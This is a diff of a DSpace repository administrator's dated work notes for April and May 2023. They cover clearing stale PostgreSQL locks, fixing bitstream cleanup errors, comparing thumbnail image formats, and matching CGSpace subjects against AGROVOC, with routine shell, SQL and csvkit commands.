+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:439)
+	at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.treeprocessor.sitemap.SerializeNode.invoke(SerializeNode.java:147)
+	at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+	at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+	at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+	at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+	at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+	at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+	at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+	at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:171)
+	at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:247)
+	at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke(MountNode.java:117)
+	at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+	at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+	at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+	at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+	at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+	at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+	at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+	at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:171)
+	at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:247)
+	at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke(MountNode.java:117)
+	at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+	at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+	at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+	at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+	at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+	at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:171)
+	at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:247)
+	at org.apache.cocoon.servlet.RequestProcessor.process(RequestProcessor.java:351)
+	at org.apache.cocoon.servlet.RequestProcessor.service(RequestProcessor.java:169)
+	at org.apache.cocoon.sitemap.SitemapServlet.service(SitemapServlet.java:84)
+	at javax.servlet.http.HttpServlet.service(HttpServlet.java:728)
+	at org.apache.cocoon.servletservice.ServletServiceContext$PathDispatcher.forward(ServletServiceContext.java:468)
+	at org.apache.cocoon.servletservice.ServletServiceContext$PathDispatcher.forward(ServletServiceContext.java:443)
+	at org.apache.cocoon.servletservice.spring.ServletFactoryBean$ServiceInterceptor.invoke(ServletFactoryBean.java:264)
+	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:172)
+	at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:204)
+	at com.sun.proxy.$Proxy186.service(Unknown Source)
+	at org.dspace.springmvc.CocoonView.render(CocoonView.java:113)
+	at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1216)
+	at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1001)
+	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:945)
+	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:867)
+	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:951)
+	at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:853)
+	at javax.servlet.http.HttpServlet.service(HttpServlet.java:647)
+	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:827)
+	at javax.servlet.http.HttpServlet.service(HttpServlet.java:728)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.dspace.app.xmlui.cocoon.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:113)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter.doFilter(DSpaceCocoonServletFilter.java:160)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.dspace.app.xmlui.cocoon.servlet.multipart.DSpaceMultipartFilter.doFilter(DSpaceMultipartFilter.java:119)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.dspace.utils.servlet.DSpaceWebappServletFilter.doFilter(DSpaceWebappServletFilter.java:78)
+	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219)
+	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110)
+	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:492)
+	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:165)
+	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:104)
+	at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:235)
+	at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:1025)
+	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
+	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:451)
+	at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1201)
+	at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:654)
+	at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:317)
+	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+	at java.lang.Thread.run(Thread.java:750)
+
    +
  • I don’t see anything on the DSpace issue tracker or mailing list so I asked about it on the DSpace Slack…
    • +
  • Peter said CGSpace was slow and I see a lot of locks from the XMLUI +
      +
    • I looked and found many locks that were many hours and days old so I killed some:
      • +
    +
    • +
+
$ psql < locks-age.sql | grep -E "[[:digit:]] days" | awk -F\| '{print $10}' | sort -u
+ 1050672
+ 1053773
+ 1054602
+ 1054702
+ 1056782
+ 1057629
+ 1057630
+$ psql < locks-age.sql | grep -E "[[:digit:]] days" | awk -F\| '{print $10}' | sort -u | xargs kill
+
    +
  • I’m also running a dspace cleanup -v, but it doesn’t seem to be finishing +
      +
    • I recall something like there being errors in the logs rather than on the command line in DSpace 6…
      • +
    • I found it in the DSpace log:
      • +
    +
    • +
+
2023-04-17 21:09:46,004 ERROR org.hibernate.engine.jdbc.spi.SqlExceptionHelper @ ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (uuid)=(a7ddf477-1c04-4de0-9c7a-4d3c84a875bc) is still referenced from table "bundle".
+
    +
  • If I mark the primary bitstream as null manually the cleanup script continues until it finds a few more +
      +
    • I ended up with a long list of UUIDs to fix before the script would complete:
      • +
    +
    • +
+
$ psql -d dspace -c "update bundle set primary_bitstream_id=NULL where primary_bitstream_id in ('a7ddf477-1c04-4de0-9c7a-4d3c84a875bc', '9582b661-9c2d-4c86-be22-c3b0942b646a', '210a4d5d-3af9-46f0-84cc-682dd1431762', '51115f07-0a60-4988-8536-b9ebd2a5e15e', '0fc5021d-3264-413a-b2e2-74bda38a394e', '4704fa62-b8ab-4dfe-b7aa-0e4905f8412a')"
+
    +
  • This process ended up taking a few days because each iteration ran for over four hours before failing on the next UUID, sighhhhh
    • +
+

2023-04-18

+
    +
  • Regarding the item Abenet noticed yesterday that has a blank page and a nullPointerException +
      +
    • It appears OK on DSpace Test! https://dspacetest.cgiar.org/handle/10568/75611
      • +
    • And according to the REST API on CGSpace the item was modified on 2023-04-11, so last week…
      • +
    • According to the DSpace logs it was Francesca who edited the item last week, so I asked her for more information before I troubleshoot more
      • +
    +
    • +
+

2023-04-19

+
    +
  • I fixed the Bioversity item by deleting the 9781138781276.jpg bitstream via the REST API +
      +
    • I think Francesca might have changed the “format” of it?
      • +
    • Anyway, this item has a PDF so we have a proper thumbnail and don’t need that other journal cover one
      • +
    +
    • +
  • I noticed a URL for this Bioversity item redirects incorrectly +
      +
    • I had mentioned this to Maria and Francesca a few months ago but it seems to never have been resolved
      • +
    +
    • +
  • The dspace cleanup -v finally finished after a few days of running and stopping…
    • +
  • I decided to update the thumbnails in the Bioversity books collection because I saw a few old ones suffering from the CropBox issue
    • +
  • Also, all day there’s been a high load on CGSpace, with lots of locks in PostgreSQL +
      +
    • I had been waiting until the bitstream cleanup finished… now I might need to restart PostgreSQL to kill some old locks as something needs to give
      • +
    • I restarted PostgreSQL, but DSpace was still hanging on simple XMLUI options so I ended up restarting Tomcat
      • +
    +
    • +
  • Tag 544 ORCID identifiers with my script
    • +
  • I updated my generation-loss.sh and improved-dspace-thumbnails scripts to include thirty-five PDFs from CGSpace (up from twenty-four) to get a larger sample +
      +
    • Now starting to get some numbers comparing JPEG, WebP, and AVIF
      • +
    • First, out of curiousity, I checked the average ssimulacra2 scores at Q75, Q80, and Q92 for each format:
      • +
    +
    • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Q75Q80Q92
JPEG717488
WebP747782
AVIF828386
+
    +
  • Then I checked the quality and file size (bytes) needed to hit an average ssimulacra2 score of 80 with each format: +
      +
    • JPEG: Q89, 124923 bytes
      • +
    • WebP: Q86, 84662 bytes (33% smaller than JPEG size)
      • +
    • AVIF: Q65, 67597 bytes (56% smaller than JPEG size)
      • +
    +
    • +
  • Google’s original WebP study uses this technique to compare WebP to JPEG too +
      +
    • As the quality settings are not comparable between formats, we need to compare the formats at matching perceptual scores (ssimulacra2 in this case)
      • +
    • I used a ssimulacra2 score of 80 because that’s the about the highest score I see with WebP using my samples, though JPEG and AVIF do go higher
      • +
    • Also, according to current ssimulacra2 (v2.1), a score of 70 is “high quality” and a score of 90 is “very high quality”, so 80 should be reasonably high enough…
      • +
    +
    • +
  • Here is a plot of the qualities and ssimulacra2 scores:
    • +
+

Quality vs Score

+
    +
  • Export CGSpace to check for missing Initiatives mappings
    • +
+

2023-04-22

+
    +
  • Export the Initiatives collection to run it through csv-metadata-quality +
      +
    • I wanted to make sure all the Initiatives items had correct regions
      • +
    • I had to manually fix a few license identifiers and ISSNs
      • +
    • Also, I found a few items submitted by MEL that had dates in DD/MM/YYYY format, so I sent them to Salem for him to investigate
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+

2023-04-26

+
    +
  • Begin working on the list of non-AGROVOC CGSpace subjects for FAO +
      +
    • The last time I did this was in 2022-06
      • +
    • I used the following SQL query to dump values from all subject fields, lower case them, and group by counts:
      • +
    +
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT(lower(text_value)) AS "subject", count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (187, 120, 210, 122, 215, 127, 208, 124, 128, 123, 125, 135, 203, 236, 238, 119) GROUP BY "subject" ORDER BY count DESC) to /tmp/2023-04-26-cgspace-subjects.csv WITH CSV HEADER;
+COPY 26315
+Time: 2761.981 ms (00:02.762)
+
    +
  • Then I extracted the subjects and looked them up against AGROVOC:
    • +
+
$ csvcut -c subject /tmp/2023-04-26-cgspace-subjects.csv | sed '1d' > /tmp/2023-04-26-cgspace-subjects.txt
+$ ./ilri/agrovoc_lookup.py -i /tmp/2023-04-26-cgspace-subjects.txt -o /tmp/2023-04-26-cgspace-subjects-results.csv
+

2023-04-27

+
    +
  • The AGROVOC lookup from yesterday finished, so I extracted all terms that did not match and joined them with the original CSV so I can see the counts: +
      +
    • (I also note that the agrovoc_lookup.py script didn’t seem to be caching properly, as it had to look up everything again the next time I ran it despite the requests cache being 174MB!)
      • +
    +
    • +
+
csvgrep -c 'number of matches' -r '^0$' /tmp/2023-04-26-cgspace-subjects-results.csv \
+  | csvcut -c subject \
+  | csvjoin -c subject /tmp/2023-04-26-cgspace-subjects.csv - \
+  > /tmp/2023-04-26-cgspace-non-agrovoc.csv
+
    +
  • I filtered for only those terms that had counts larger than fifty +
      +
    • I also removed terms like “forages”, “policy”, “pests and diseases” because those exist as singular or separate terms in AGROVOC
      • +
    • I also removed ambiguous terms like “cocoa”, “diversity”, “resistance” etc because there are various other preferred terms for those in AGROVOC
      • +
    • I also removed spelling mistakes like “modeling” and “savanas” because those exist in their correct form in AGROVOC
      • +
    • I also removed internal CGIAR terms like “tac”, “crp”, “internal review” etc (note: these are mostly from CGIAR System Office’s subjects… perhaps I exclude those next time?)
      • +
    +
    • +
  • I note that many of our terms would match if they were singular, plural, or split up into separate terms, so perhaps we should pair this with an excercise to review our own terms
    • +
  • I couldn’t finish the work locally yet so I uploaded my list to Google Docs to continue later
    • +
+

2023-04-28

+
    +
  • The ImageMagick CMYK issue is bothering me still +
      +
    • I am on a plane currently, but I have a Docker image of ImageMagick 7.1.1-3 and I compared the output of all CMYK PDFs using the same command on my local machine
      • +
    • The images from the Docker environment are correct with only -colorspace sRGB (no profiles!) as the commenters on GitHub said
      • +
    • This leads me to believe something wrong in my own environment, perhaps Ghostscript…?
      • +
    • The container has Ghostscript 9.53.3~dfsg-7+deb11u2 from Debian 11, while my Arch Linux system has Ghostscript 10.01.1-1
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2023-05/index.html b/docs/2023-05/index.html new file mode 100644 index 000000000..3d5f4a3d9 --- /dev/null +++ b/docs/2023-05/index.html @@ -0,0 +1,428 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + May, 2023 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

May, 2023

+

+ + in + Notes + + +

+
+

2023-05-03

+
    +
  • Alliance’s TIP team emailed me to ask about issues authenticating on CGSpace +
      +
    • It seems their password expired, which is annoying
      • +
    +
    • +
  • I continued looking at the CGSpace subjects for the FAO / AGROVOC exercise that I started last week +
      +
    • There are many of our subjects that would match if they added a “-” like “high yielding varieties” or used singular…
      • +
    • Also I found at least two spelling mistakes, for example “decison support systems”, which would match if it was spelled correctly
      • +
    +
    • +
  • Work on cleaning, proofing, and uploading twenty-seven records for IFPRI to CGSpace
    • +
+
    +
  • I notice there are a few dozen locks from the dspaceWeb pool that are five days old on CGSpace so I killed them
    • +
+
$ psql < locks-age.sql | grep " days " | awk -F"|" '{print $10}' | sort -u | xargs kill
+

2023-05-04

+
    +
  • Sync DSpace Test with CGSpace
    • +
  • I replaced one item’s thumbnail with a WebP version and XMLUI displays it fine
    • +
  • I spent some time checking the CMYK issue with Arch’s ImageMagick 7 and the Docker container and I think ImageMagick 7 just handles CMYK wrong… +
      +
    • libvips does it correctly automatically and looks closer to the PDF
      • +
    +
    • +
  • Meeting about CG Core types
    • +
+

2023-05-10

+
    +
  • Write a script to find the metadata_field_id values associated with the non-AGROVOC subjects I am working on for Sara +
      +
    • This is useful because we want to know who to contact for a definition
      • +
    • The script was:
      • +
    +
    • +
+
while read -r subject; do
+    metadata_field_id=$(psql -h localhost -U postgres -d dspacetest -qtAX <<SQL
+        SELECT DISTINCT(metadata_field_id) FROM metadatavalue WHERE LOWER(text_value)='$subject'
+SQL
+)
+    metadata_field_id=$(echo $metadata_field_id | sed 's/[[:space:]]/||/g')
+
+    echo "$subject,$metadata_field_id"
+done < <(csvcut -c 1 ~/Downloads/2023-04-26\ CGIAR\ non-AGROVOC\ subjects.csv | sed 1d)
+
    +
  • I also realized that Bernard Bett didn’t have any items on CGSpace tagged with his ORCID identifier, so I tagged 230!
    • +
+

2023-05-11

+
    +
  • CG Core meeting
    • +
  • Finalize looking at the CGSpace non-AGROVOC subjects for FAO
    • +
+

2023-05-12

+
    +
  • Export the Alliance community to do some country/region fixes +
      +
    • I also sent Maria and Francesca the export because they want to add more regions and subregions
      • +
    +
    • +
  • Export the entire CGSpace to check for missing Initiative collection mappings +
      +
    • I also adding missing regions
      • +
    +
    • +
+

2023-05-16

+ +

2023-05-17

+
    +
  • Re-sync CGSpace to DSpace 7 Test
    • +
  • I came up with a naive patch to use WebP instead of JPEG in the DSpace ImageMagick filter, and it works, but doesn’t replace existing JPEGs… hmmm +
      +
    • Also, it does PDF to WebP to WebP haha
      • +
    +
    • +
+

2023-05-18

+
    +
  • I created a pull request to improve some minor documentation, typo, and logic issues in the DSpace ImageMagick thumbnail filters
    • +
  • I realized that there is a quick win to the generation loss issue with ImageMagickThumbnailFilter +
      +
    • We can use ImageMagick’s internal MIFF instead of JPEG when writing the intermediate image
      • +
    • According to the libvips author PNG is very slow!
      • +
    • I re-ran my generation-loss.sh script using MIFF and found that it had essentially the same results as PNG, which is about 1.1 points higher on the ssimulacra2 (v2.1) scoring scale
      • +
    • Also, according to my tests with the cosmo rusage.com utility, I see that MIFF is indeed much faster than PNG
      • +
    • I updated my pull request to add this quick win
      • +
    +
    • +
  • Weekly CG Core types meeting +
      +
    • Low attendance so I just kept working on the spreadsheet
      • +
    • We are at the stage of voting on definitions
      • +
    +
    • +
+

2023-05-19

+
    +
  • I ported a few of the minor ImageMagick Thumbnail Filter improvements to our 6_x-prod branch
    • +
+

2023-05-20

+
    +
  • I deployed the latest thumbnail changes on CGSpace, ran all updates, and rebooted it
    • +
  • I exported CGSpace to check for missing Initiative mappings
    • +
  • Then I started a harvest on AReS
    • +
+

2023-05-23

+
    +
  • Help Francesca with an import of a journal article with a few hundred authors +
      +
    • I used the DSpace 7 live import from PubMed
      • +
    +
    • +
  • I also noticed a bug in the CrossRef live import if you change the DOI field, so I filed an issue
    • +
+

2023-05-25

+ +

2023-05-26

+ +
\COPY (SELECT
+    text_value,
+    dspace_object_id
+FROM
+    metadatavalue
+WHERE
+    dspace_object_id IN (
+        SELECT
+            dspace_object_id
+        FROM
+            metadatavalue
+        WHERE
+            metadata_field_id = 28
+            AND place = 0
+            AND (text_value LIKE '%No. of bitstreams: 1%'
+                AND text_value SIMILAR TO '%.(gif|jpg|jpeg)%'))
+    AND metadata_field_id = 220) TO /tmp/items-with-old-bitstreams.csv WITH CSV HEADER;
+
    +
  • I extract the DOIs and look them up on CrossRef to see which are CC-BY, then extract those:
    • +
+
$ csvcut -c text_value /tmp/items-with-old-bitstreams.csv | sed 1d > /tmp/dois.txt
+$ ./ilri/crossref_doi_lookup.py -i /tmp/dois.txt -e fuuu@example.com -o /tmp/dois-resolved.csv
+$ csvgrep -c license -m 'creativecommons' /tmp/dois-resolved.csv \
+    | csvgrep -c license -m 'by-nc-nd' --invert-match \
+    | csvcut -c doi \
+    | sed '2,$s_^\(.*\)$_https://doi.org/\1_' \
+    | sed 1d > /tmp/dois-for-cc-items-with-old-bitstreams.txt
+
    +
  • This results in 262 items that have DOIs that are CC-BY (but not ND) +
      +
    • This is a good starting point, but misses some that had low-quality thumbnails uploaded after they were added (ie, there’s no record of a bitstream in the provenance field)
      • +
    +
    • +
  • I ran the list through my Sci-Hub download script and filtered out a few that downloaded invalid PDFs (manually), then generated thumbnails for all of them:
    • +
+
$ ~/src/git/DSpace/ilri/get_scihub_pdfs.py -i /tmp/dois-for-cc-items-with-old-bitstreams.txt -o bitstreams.csv
+$ chrt -b 0 vipsthumbnail *.pdf --export-profile srgb -s 600x600 -o './%s.pdf.jpg[Q=02,optimize_coding,strip]'
+
    +
  • Then I joined the CSVs on the DOI column, filtered out any that we didn’t find PDFs for, and formatted the resulting CSV with an id, filename, and bundle column:
    • +
+
$ csvjoin -c doi bitstreams.csv /tmp/items-with-old-bitstreams.csv \
+    | csvgrep -c filename --invert-match -r '^$' \
+    | sed '1s/dspace_object_id/id/' \
+    | csvcut -c id,filename \
+    | sed -e '1s/^\(.*\)$/\1,bundle/' -e '2,$s/^\(.*\)$/\1.jpg__description:libvips thumbnail,THUMBNAIL/' > new-thumbnails.csv
+
    +
  • I did a dry run with ilri/post_bitstreams.py and it seems that most (all?) already have thumbnails from the last time I did a massive Sci-Hub check +
      +
    • So relying on the provenance field is not very reliable it seems, and that was a waste of two hours…
      • +
    • I did discover, while originally posting WebP thumbnails, that the format doesn’t seem to be set correctly when uploading WebP via the REST API, but it does work when uploading via XMLUI—the format is set to Unknown
      • +
    • POSTing a JPG to the THUMBNAIL bundle sets the format to JPEG…
      • +
    • I am guessing that is a bug that I won’t bother troubleshooting since the DSpace 6.x REST API is deprecated
      • +
    +
    • +
+

2023-05-27

+
    +
  • Export CGSpace to check for missing Initiative collection mappings +
      +
    • Then I also ran the csv-metadata-quality tool on the Initiatives to do some easy fixes like country/region mapping and whitespace fixes
      • +
    +
    • +
  • Start a havest on AReS
    • +
+

2023-05-29

+
    +
  • Re-create my local PostgreSQL 14 container:
    • +
+
$ podman rm dspacedb14
+$ podman pull docker.io/postgres:14-alpine
+$ podman run --name dspacedb14 -v dspacedb14_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d docker.io/postgres:14-alpine -c shared_buffers=1024MB -c random_page_cost=1.1
+
    +
